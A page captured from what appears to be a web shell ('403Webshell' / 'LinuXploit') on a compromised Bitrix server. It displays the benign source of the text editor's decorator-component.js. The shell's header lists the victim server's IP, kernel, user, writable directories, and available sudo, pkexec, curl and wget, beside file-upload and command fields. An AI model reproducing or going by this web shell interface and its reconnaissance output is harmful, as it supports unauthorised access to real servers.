403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/text-editor/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/text-editor/src/decorator-component.js
import { Dom, Type, type JsonObject, type JsonValue } from 'main.core';

import {
	$getSelection,
	$isNodeSelection,
	$getNodeByKey,
	COMMAND_PRIORITY_LOW,
	CLICK_COMMAND,
	KEY_DELETE_COMMAND,
	KEY_BACKSPACE_COMMAND,
} from 'ui.lexical.core';

import { mergeRegister } from 'ui.lexical.utils';
import { createNodeSelection } from './helpers/create-node-selection';

import { type TextEditor } from './text-editor';
import { type DecoratorComponentOptions } from './types/decorator-component-options';

export default class DecoratorComponent
{
	#textEditor: TextEditor = null;
	#target: HTMLElement = null;
	#nodeKey: string = null;
	#options: JsonObject = {};
	#nodeSelection = null;
	#unregisterCommands: Function = null;

	constructor(componentOptions: DecoratorComponentOptions)
	{
		const { textEditor, target, nodeKey, options } = componentOptions;

		this.#textEditor = textEditor;
		this.#target = target;
		this.#nodeKey = nodeKey;
		this.#options = options;

		this.#nodeSelection = createNodeSelection(this.getEditor(), this.getNodeKey());
		this.#nodeSelection.onSelect((selected: boolean) => {
			if (selected)
			{
				Dom.addClass(this.getTarget(), '--selected');
			}
			else
			{
				Dom.removeClass(this.getTarget(), '--selected');
			}
		});

		this.#unregisterCommands = this.#registerCommands();
	}

	update(options: JsonObject): void
	{
		// update
	}

	destroy(): void
	{
		this.#nodeSelection.dispose();
		this.#unregisterCommands();
	}

	getEditor(): TextEditor
	{
		return this.#textEditor;
	}

	getNodeKey(): string
	{
		return this.#nodeKey;
	}

	getTarget(): HTMLElement
	{
		return this.#target;
	}

	getNodeSelection()
	{
		return this.#nodeSelection;
	}

	isSelected(): boolean
	{
		return this.#nodeSelection.isSelected();
	}

	setSelected(selected: boolean)
	{
		this.#nodeSelection.setSelected(selected);
	}

	getOptions(): JsonObject
	{
		return this.#options;
	}

	getOption(option: string, defaultValue?: JsonValue): JsonValue
	{
		if (!Type.isUndefined(this.#options[option]))
		{
			return this.#options[option];
		}

		if (!Type.isUndefined(defaultValue))
		{
			return defaultValue;
		}

		return null;
	}

	#registerCommands(): Function
	{
		return mergeRegister(
			this.getEditor().registerCommand(
				CLICK_COMMAND,
				(event: MouseEvent) => {
					if (this.getTarget().contains(event.target))
					{
						if (event.shiftKey)
						{
							this.#nodeSelection.setSelected(!this.#nodeSelection.isSelected());
						}
						else
						{
							this.#nodeSelection.clearSelection();
							this.#nodeSelection.setSelected(true);
						}

						return true;
					}

					return false;
				},
				COMMAND_PRIORITY_LOW,
			),
			this.getEditor().registerCommand(
				KEY_DELETE_COMMAND,
				this.#handleDelete.bind(this),
				COMMAND_PRIORITY_LOW,
			),
			this.getEditor().registerCommand(
				KEY_BACKSPACE_COMMAND,
				this.#handleDelete.bind(this),
				COMMAND_PRIORITY_LOW,
			),
		);
	}

	#handleDelete(event: KeyboardEvent): boolean
	{
		if (this.#nodeSelection.isSelected() && $isNodeSelection($getSelection()))
		{
			event.preventDefault();

			const node = $getNodeByKey(this.getNodeKey());
			this.#nodeSelection.setSelected(false);
			if (node)
			{
				node.remove();

				return true;
			}
		}

		return false;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit